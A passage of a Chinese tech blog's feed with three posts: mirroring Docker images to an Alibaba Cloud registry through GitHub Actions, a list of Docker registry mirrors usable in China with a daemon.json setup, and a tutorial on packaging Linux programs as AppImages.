使用Github Action将国外的Docker镜像转存到阿里云私有仓库，供国内服务器使用，免费易用&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;支持&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=245352596&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=DockerHub&amp;amp;zhida_source=entity&quot;&gt;DockerHub&lt;&#x2F;a&gt;
, gcr.io, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=245352596&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=k8s.io&amp;amp;zhida_source=entity&quot;&gt;k8s.io&lt;&#x2F;a&gt;
, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=http%3A&#x2F;&#x2F;ghcr.io&quot;&gt;http:&#x2F;&#x2F;ghcr.io&lt;&#x2F;a&gt;等任意仓库&lt;&#x2F;li&gt;
&lt;li&gt;支持最大40GB的大型镜像&lt;&#x2F;li&gt;
&lt;li&gt;使用阿里云的官方线路，速度快&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;视频教程：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1Zn4y19743&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1Zn4y19743&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;作者：&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;tech-shrimp&#x2F;me&quot;&gt;技术爬爬虾&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;B站，抖音，Youtube全网同名，转载请注明作者&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-fang-shi&quot;&gt;使用方式&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;pei-zhi-a-li-yun&quot;&gt;配置阿里云&lt;&#x2F;h3&gt;
&lt;p&gt;登录&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=245352596&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=%E9%98%BF%E9%87%8C%E4%BA%91%E5%AE%B9%E5%99%A8%E9%95%9C%E5%83%8F%E6%9C%8D%E5%8A%A1&amp;amp;zhida_source=entity&quot;&gt;阿里云容器镜像服务&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;cr.console.aliyun.com&#x2F;&quot;&gt;https:&#x2F;&#x2F;cr.console.aliyun.com&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;启用个人实例，创建一个命名空间（&lt;strong&gt;ALIYUN_NAME_SPACE&lt;&#x2F;strong&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;访问凭证-&amp;gt;设置固定密码&lt;&#x2F;p&gt;
&lt;p&gt;访问凭证–&amp;gt;获取环境变量：&lt;&#x2F;p&gt;
&lt;p&gt;用户名（&lt;strong&gt;ALIYUN_REGISTRY_USER&lt;&#x2F;strong&gt;)&lt;&#x2F;p&gt;
&lt;p&gt;密码（&lt;strong&gt;ALIYUN_REGISTRY_PASSWORD&lt;&#x2F;strong&gt;)&lt;&#x2F;p&gt;
&lt;p&gt;仓库地址（&lt;strong&gt;ALIYUN_REGISTRY&lt;&#x2F;strong&gt;）&lt;&#x2F;p&gt;
&lt;h3 id=&quot;forkben-xiang-mu&quot;&gt;Fork本项目&lt;&#x2F;h3&gt;
&lt;p&gt;Fork github项目到自己账号下：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;wenfei6316&#x2F;docker_image_pusher&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;wenfei6316&#x2F;docker_image_pusher&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;qi-dong-action&quot;&gt;启动Action&lt;&#x2F;h4&gt;
&lt;p&gt;进入您自己的项目，点击Action，启用Github Action功能&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pei-zhi-huan-jing-bian-liang&quot;&gt;配置环境变量&lt;&#x2F;h4&gt;
&lt;p&gt;进入Settings-&amp;gt;Secret and variables-&amp;gt;Actions-&amp;gt;New Repository secret&lt;&#x2F;p&gt;
&lt;p&gt;将上一步的&lt;strong&gt;四个值&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ALIYUN_NAME_SPACE, ALIYUN_REGISTRY_USER, ALIYUN_REGISTRY_PASSWORD, ALIYUN_REGISTRY&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;ALIYUN_NAME_SPACE: wenfei6316 # 上面命名空间的名称
ALIYUN_REGISTRY_USER: wenfei6316 # 阿里云的账号名
ALIYUN_REGISTRY_PASSWORD: xxxxxxx # 设置固定密码时的密码
ALIYUN_REGISTRY: registry.cn-hangzhou.aliyuncs.com # 访问凭据-&amp;gt;登录实例下面有
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配置成环境变量&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tian-jia-jing-xiang&quot;&gt;添加镜像&lt;&#x2F;h3&gt;
&lt;p&gt;打开images.txt文件，添加你想要的镜像
可以加tag，也可以不用(默认latest)&lt;&#x2F;p&gt;
&lt;p&gt;可添加 --platform=xxxxx 的参数指定镜像架构&lt;&#x2F;p&gt;
&lt;p&gt;可使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=http%3A&#x2F;&#x2F;k8s.gcr.io&#x2F;kube-state-metrics&#x2F;kube-state-metrics&quot;&gt;http:&#x2F;&#x2F;k8s.gcr.io&#x2F;kube-state-metrics&#x2F;kube-state-metrics&lt;&#x2F;a&gt; 格式指定私库&lt;&#x2F;p&gt;
&lt;p&gt;可使用 #开头作为注释&lt;&#x2F;p&gt;
&lt;p&gt;文件提交后，自动进入Github Action构建&lt;&#x2F;p&gt;
&lt;p&gt;内容模板&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# 模板一
xhofe&amp;#x2F;alist:latest

# 模板二
--platform=linux&amp;#x2F;arm64 xiaoyaliu&amp;#x2F;alist

# 模板三
opengrok&amp;#x2F;docker
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shi-yong-jing-xiang&quot;&gt;使用镜像&lt;&#x2F;h3&gt;
&lt;p&gt;回到阿里云，镜像仓库，点击任意镜像，可查看镜像状态。(可以改成公开，拉取镜像免登录)&lt;&#x2F;p&gt;
&lt;p&gt;在国内服务器pull镜像, 例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# 国内镜像登录
sudo docker login --username=wenfei6316 registry.cn-hangzhou.aliyuncs.com

# 国内镜像拉取
docker pull registry.cn-hangzhou.aliyuncs.com&amp;#x2F;wenfei6316&amp;#x2F;nginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=http%3A&#x2F;&#x2F;registry.cn-hangzhou.aliyuncs.com&quot;&gt;http:&#x2F;&#x2F;registry.cn-hangzhou.aliyuncs.com&lt;&#x2F;a&gt; 即 ALIYUN_REGISTRY(阿里云仓库地址)&lt;&#x2F;p&gt;
&lt;p&gt;wenfei6316 即 ALIYUN_NAME_SPACE(阿里云命名空间)&lt;&#x2F;p&gt;
&lt;p&gt;nginx 即 阿里云中显示的镜像名&lt;&#x2F;p&gt;
&lt;h3 id=&quot;duo-jia-gou&quot;&gt;多架构&lt;&#x2F;h3&gt;
&lt;p&gt;需要在images.txt中用 --platform=xxxxx手动指定镜像架构
指定后的架构会以前缀的形式放在镜像名字前面&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jing-xiang-zhong-ming&quot;&gt;镜像重名&lt;&#x2F;h3&gt;
&lt;p&gt;程序自动判断是否存在名称相同, 但是属于不同命名空间的情况。
如果存在，会把命名空间作为前缀加在镜像名称前。
例如:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;xhofe&amp;#x2F;alist
xiaoyaliu&amp;#x2F;alist
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ding-shi-zhi-xing&quot;&gt;定时执行&lt;&#x2F;h3&gt;
&lt;p&gt;修改&#x2F;.github&#x2F;workflows&#x2F;docker.yaml文件
添加 schedule即可定时执行(此处cron使用UTC时区)&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>目前国内可用Docker镜像源汇总（截至2025年1月）</title>
        <published>2025-03-04T00:00:00+00:00</published>
        <updated>2025-03-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/目前国内可用docker镜像源汇总-截至2025年1月/"/>
        <id>https://vercel.juzhong.asia/obsidian/目前国内可用docker镜像源汇总-截至2025年1月/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/目前国内可用docker镜像源汇总-截至2025年1月/">&lt;h1 id=&quot;mu-qian-guo-nei-ke-yong-dockerjing-xiang-yuan-hui-zong-jie-zhi-2025nian-1yue&quot;&gt;目前国内可用Docker镜像源汇总（截至2025年1月）&lt;&#x2F;h1&gt;
&lt;p&gt;原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;18057716675&quot;&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;18057716675&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在国内使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=252633413&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=Docker&amp;amp;zhida_source=entity&quot;&gt;Docker&lt;&#x2F;a&gt;
的朋友们，可能都遇到过配置&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=252633413&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=%E9%95%9C%E5%83%8F%E6%BA%90&amp;amp;zhida_source=entity&quot;&gt;镜像源&lt;&#x2F;a&gt;
来加速镜像拉取的操作。然而，最近几个月发现许多曾经常用的国内镜像站（包括各种云服务商和高校镜像站）已经无法使用。因此，本人开始搜索并汇总了目前可用的镜像站和镜像加速地址，并计划定期测试它们的可用性，并更新这个列表。如果您知道新的可用站点，也欢迎随时补充哦！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-fang-shi-1-lin-shi-shi-yong&quot;&gt;配置方式1：临时使用&lt;&#x2F;h2&gt;
&lt;p&gt;直接使用，直接拿镜像域名拼接上官方镜像名，例如要拉去镜像 &lt;code&gt;istio&#x2F;distroless&lt;&#x2F;code&gt;，可以用下面写法（不要带 &lt;code&gt;https:&#x2F;&#x2F;&lt;&#x2F;code&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;docker pull docker-0.unsee.tech&#x2F;istio&#x2F;distroless&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-fang-shi-2-chang-jiu-you-xiao&quot;&gt;配置方式2：长久有效&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=252633413&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=Ubuntu+16.04&amp;amp;zhida_source=entity&quot;&gt;Ubuntu 16.04&lt;&#x2F;a&gt;
+、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=252633413&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=Debian+8&amp;amp;zhida_source=entity&quot;&gt;Debian 8&lt;&#x2F;a&gt;
+、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=252633413&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=CentOS+7&amp;amp;zhida_source=entity&quot;&gt;CentOS 7&lt;&#x2F;a&gt;
+&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;修改文件 &lt;code&gt;&#x2F;etc&#x2F;docker&#x2F;daemon.json&lt;&#x2F;code&gt;（如果不存在则需要创建创建，注意不要写入中文，要带 &lt;code&gt;https:&#x2F;&#x2F;&lt;&#x2F;code&gt;），并重启服务。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# 创建目录
sudo mkdir -p &amp;#x2F;etc&amp;#x2F;docker

# 写入配置文件
sudo tee &amp;#x2F;etc&amp;#x2F;docker&amp;#x2F;daemon.json &amp;lt;&amp;lt;-&amp;#x27;EOF&amp;#x27;
{
  &amp;quot;registry-mirrors&amp;quot;: [
    &amp;quot;https:&amp;#x2F;&amp;#x2F;docker-0.unsee.tech&amp;quot;,
    &amp;quot;https:&amp;#x2F;&amp;#x2F;docker-cf.registry.cyou&amp;quot;,
    &amp;quot;https:&amp;#x2F;&amp;#x2F;docker.1panel.live&amp;quot;
  ]
}
EOF

# 重启docker服务
systemctl daemon-reload &amp;amp;&amp;amp; sudo systemctl restart docker
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可直接使用 &lt;code&gt;docker pull&lt;&#x2F;code&gt;拉去镜像进行测试：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-mirror-list&#x2F;docker-pull-mirror-test-2.png&quot; alt=&quot;&quot; &#x2F;&gt;传递&lt;&#x2F;p&gt;
&lt;p&gt;或用以下命令检查是否生效：&lt;&#x2F;p&gt;
&lt;p&gt;ping -c 3 docker-0.unsee.tech&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-mirror-list&#x2F;docker-pull-mirror-test.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>AppImage: 一次打包，到处运行</title>
        <published>2025-02-28T00:00:00+00:00</published>
        <updated>2025-02-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/appimage-一次打包-到处运行/"/>
        <id>https://vercel.juzhong.asia/obsidian/appimage-一次打包-到处运行/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/appimage-一次打包-到处运行/">&lt;h1 id=&quot;appimage-yi-ci-da-bao-dao-chu-yun-xing&quot;&gt;AppImage: 一次打包，到处运行&lt;&#x2F;h1&gt;
&lt;p&gt;我们知道，不同于 Windows 将软件的所有文件安装在一个目录，一个 Linux 软件的不同部分会被安装在不同路径。例如，可执行文件安装在 &lt;code&gt;&#x2F;usr&#x2F;bin&lt;&#x2F;code&gt; 下；库文件安装在 &lt;code&gt;&#x2F;usr&#x2F;lib&lt;&#x2F;code&gt; 下；文档、脚本等资源文件通常安装在 &lt;code&gt;&#x2F;usr&#x2F;share&lt;&#x2F;code&gt; 下等。这是因为 Linux 认为软件包之间会相互依赖，不同的软件可能依赖于同一个库，那么这个库就只应该存在一份。例如 curl, ssh 和 nginx 都依赖于 libcrypt.so 这个共享库，其为 openssl 的一部分。当我们使用 &lt;code&gt;apt&lt;&#x2F;code&gt; 安装 nginx 时，先会检测 openssl 是否已经安装。如果没有，就先安装 openssl；否则直接安装 nginx。&lt;&#x2F;p&gt;
&lt;p&gt;这样做的好处是可以节省磁盘：所有软件依赖的相同的库只存在一份。因此安装一个 Linux 系统通常只需要几 G 的磁盘空间，而 Windows 通常需要几十 G。同时可以节省内存，因为共享库的加载方式是 mmap，同一个共享库在内存中也只有一份。&lt;&#x2F;p&gt;
&lt;p&gt;但是这么做是有代价的。假设 A, B 软件都依赖于库 L，那么 A 和 B 就只能依赖于同一个版本的库 L。一台机器上有这么多软件，意味着整个依赖网络让他们相互钳制，版本号被限制，不能随意升级。一个发行版会确定各种软件包的版本（确定主次版本号，补丁号通常不做限制），组成软件库，确保它们相互兼容，没有依赖冲突。也就是说 &lt;code&gt;apt&lt;&#x2F;code&gt; 安装的软件版本由当前 Ubuntu 版本决定的。这也是为什么 Linux 发行版通常每年都要发布一个新版本，否则软件库会落后于时代。&lt;&#x2F;p&gt;
&lt;p&gt;如果你在用一个较老的发行版，想安装一些新软件，通常需要自己编译。自己编译的软件通常安装在 &lt;code&gt;&#x2F;usr&#x2F;local&#x2F;*&lt;&#x2F;code&gt; 下，与 &lt;code&gt;&#x2F;usr&#x2F;*&lt;&#x2F;code&gt; 区分开。但是我公司用的开发环境的发行版太老了，g++ 版本 4.8，只支持 C++ 11，无法编译要求支持 C++ 17 的新软件。更糟糕的是这个发行版的 glibc 版本也非常老，新软件即使在新系统中编译出来，也无法在这个老系统上运行。而 gcc 工具链（包括 glibc）是操作系统的一部分，不能随意升级。&lt;&#x2F;p&gt;
&lt;p&gt;要是能像 Windows 一样将软件的依赖的各种 DLL 都打包到一起就好了！Linux 有类似的解决方案，AppImage 就是其中一种。它可以将软件打包成一个二进制 AppImage 文件，这是一个标准的 ELF 可执行文件。用户下载 AppImage 文件后，直接 &lt;code&gt;chmod +x&lt;&#x2F;code&gt; 后就可以直接运行，非常方便。对于 AppImage 来说，一个软件就是一个可执行文件。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;chmod +x app.AppImage
.&amp;#x2F;app.AppImage
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yuan-li&quot;&gt;原理&lt;&#x2F;h2&gt;
&lt;p&gt;AppImage 的原理是将软件和相关依赖归档成一个磁盘镜像，打包在 AppImage 文件里。这个归档的目录称为 AppDir，它的结构大概是这样的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;stata&quot; class=&quot;language-stata &quot;&gt;&lt;code class=&quot;language-stata&quot; data-lang=&quot;stata&quot;&gt;AppDir
├── AppRun
├── icon.svg
├── app.desktop
└── usr
    ├── bin
    │   └── app
    ├── lib
    │   └── x86_64-linux-gnu
    │       ├── ld-2.31.so
    │       ├── libm.so.6
    │       ├── libpthread.so.0
    │       └── libc.so.6
    └── share
        └── icons
            └── icon.svg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行 AppImage 文件时，其中的磁盘镜像会被挂载到 &lt;code&gt;&#x2F;tmp&#x2F;.mount_XXX.XXXXX&lt;&#x2F;code&gt; 上，然后执行其中的 AppRun。AppRun 可以是一个脚本，也可以是一个二进制，它负责做一些前序工作，设置各种环境变量（如 &lt;code&gt;LD_LIBRARY_PATH&lt;&#x2F;code&gt;），然后启动目标程序。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hello-appimage&quot;&gt;Hello, AppImage&lt;&#x2F;h2&gt;
&lt;p&gt;接下来我们动手制作一个 AppImage。我们有一个 C 程序 &lt;code&gt;hello.c&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;

int main() {
    printf(&amp;quot;Hello Appimage\n&amp;quot;);
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后编译它 &lt;code&gt;gcc -o hello hello.c&lt;&#x2F;code&gt;。接着我们创建一个 &lt;code&gt;AppDir&lt;&#x2F;code&gt; 目录，将 &lt;code&gt;hello&lt;&#x2F;code&gt; 放到 &lt;code&gt;AppDir&#x2F;usr&#x2F;bin&#x2F;&lt;&#x2F;code&gt; 中。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ mkdir -p AppDir&amp;#x2F;usr&amp;#x2F;bin
$ cp hello AppDir&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;
$ tree Appdir
AppDir
└── usr
    └── bin
        └── hello
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接着我们要将程序依赖的共享库也打包进去。我们用 &lt;code&gt;ldd&lt;&#x2F;code&gt; 查看 &lt;code&gt;hello&lt;&#x2F;code&gt; 依赖的共享库：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ ldd hello
        linux-vdso.so.1 (0x00007ffe66f8f000)
        libc.so.6 =&amp;gt; &amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6 (0x00007f849544b000)
        &amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 (0x00007f8495650000)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;hello&lt;&#x2F;code&gt; 很简单，只依赖 libc。链接器 &lt;code&gt;&#x2F;lib64&#x2F;ld-linux-x86-64.so.2&lt;&#x2F;code&gt; 为程序加载各种共享库，是程序的解释器 (interpreter)，也需要打包进去。我们把这两个 .so 文件复制到 AppDir 的对应目录：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;AppDir
├── lib
│   └── x86_64-linux-gnu
│       └── libc.so.6
├── lib64
│   └── ld-linux-x86-64.so.2
└── usr
    └── bin
        └── hello
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来我们创建 &lt;code&gt;AppRun&lt;&#x2F;code&gt; 脚本。这个脚本先设置 &lt;code&gt;LD_LIBRARY_PATH&lt;&#x2F;code&gt; 环境变量，然后用 AppDir 中的链接器加载运行 &lt;code&gt;hello&lt;&#x2F;code&gt; 程序：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;sh

export LD_LIBRARY_PATH=${APPDIR}&amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu
${APPDIR}&amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 ${APPDIR}&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;hello
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;AppImage 运行时环境变量 &lt;code&gt;APPDIR&lt;&#x2F;code&gt; 便是 AppDir 挂载的路径（&lt;code&gt;&#x2F;tmp&#x2F;.mount_XXX.XXXXX&lt;&#x2F;code&gt;），我们可以直接在脚本中引用它。最后我们需要一个 desktop 文件配置一些元数据，还要准备一个图标文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Desktop Entry]
Name=hello
Exec=hello
Icon=hello
Type=Application
Categories=Utility;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最终 AppDir 的目录结构是这样的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;AppDir
├── AppRun
├── hello.desktop
├── hello.svg
├── lib
│   └── x86_64-linux-gnu
│       └── libc.so.6
├── lib64
│   └── ld-linux-x86-64.so.2
└── usr
    └── bin
        └── hello
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要将 AppDir 打包成可执行文件，需要用到的工具是 appimagetool，可以到 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;AppImage&#x2F;AppImageKit&#x2F;releases&#x2F;latest&quot;&gt;Github&lt;&#x2F;a&gt; 下载。appimagetool 本身也是个 AppImage，下载后即可运行。执行 &lt;code&gt;appimagetool AppDir&lt;&#x2F;code&gt; 便可将 AppDir 打包成一个 AppImage。运行它&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ .&amp;#x2F;hello-x86_64.AppImage
Hello Appimage
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为它打包了程序所需的所有依赖，所以理论上它可以在任意一个同架构（这里是 X86_64）的 Linux 系统上运行，无论这个系统的 libc 版本是多少。你也可以修改这个程序，让它引用一些较新的 libc 里才有的函数（如 &lt;code&gt;gettid&lt;&#x2F;code&gt;, glibc 2.30 被加入），打包成 AppImage 后再发给一个老系统（如 CentOS 7），看看它能不能正常运行。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-appimage-builder&quot;&gt;使用 appimage-builder&lt;&#x2F;h2&gt;
&lt;p&gt;上面例子中的程序很简单，只依赖一个 libc。而实际情况下程序通常依赖很多共享库，这些共享库有可能又依赖更多其它的共享库。手动找出来非常麻烦，我们可以使用工具。appimage-builder 就是一个很方便的工具。它的原理是运行目标程序，分析它访问了哪些共享库；然后使用包管理器（如 apt）获取依赖，并制作成 AppDir。此外它还提供了一个功能强大的 AppRun，支持路径映射，通过 hook 程序的文件访问函数，将指定路径映射到 AppDir 中。&lt;&#x2F;p&gt;
&lt;p&gt;appimage-builder 是一个 Python 工具，可以使用 pip 安装：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;pip install appimage-builder
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要用 appimage-builder 制作 AppImage，我们首先需要准备一个“基础版”的 AppDir，包含软件的可执行文件和一些相关依赖。通常那些 &lt;code&gt;make install&lt;&#x2F;code&gt; 复制到 &lt;code&gt;&#x2F;usr&#x2F;local&#x2F;&lt;&#x2F;code&gt; 下的文件就是基础 AppDir 应当包含的文件。上面例子的基础 AppDir 结构如下:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;AppDir
└── usr
    └── bin
        └── hello
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;appimage-builder 基于一个 yaml 配置文件制作 AppImage，称为 recipe。我们不必手动创建 recipe，可以用 &lt;code&gt;appimage-builder --generate&lt;&#x2F;code&gt; 命令生成，然后再根据需要修改。generate 命令是一个向导程序，会询问这个应用的基本信息。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ appimage-builder --generate
INFO:Generator:Searching AppDir
? ID [Eg: com.example.app]: tech.luyuhuang.hello
? Application Name: hello
? Icon: hello
? Executable path: usr&amp;#x2F;bin&amp;#x2F;hello
? Arguments [Default: $@]: $@
? Version [Eg: 1.0.0]: latest
? Update Information [Default: guess]: guess
? Architecture: x86_64
INFO:AppRuntimeAnalyser:&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;strace -f -E LD_LIBRARY_PATH= -e trace=openat --status=successful AppDir&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;hello
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
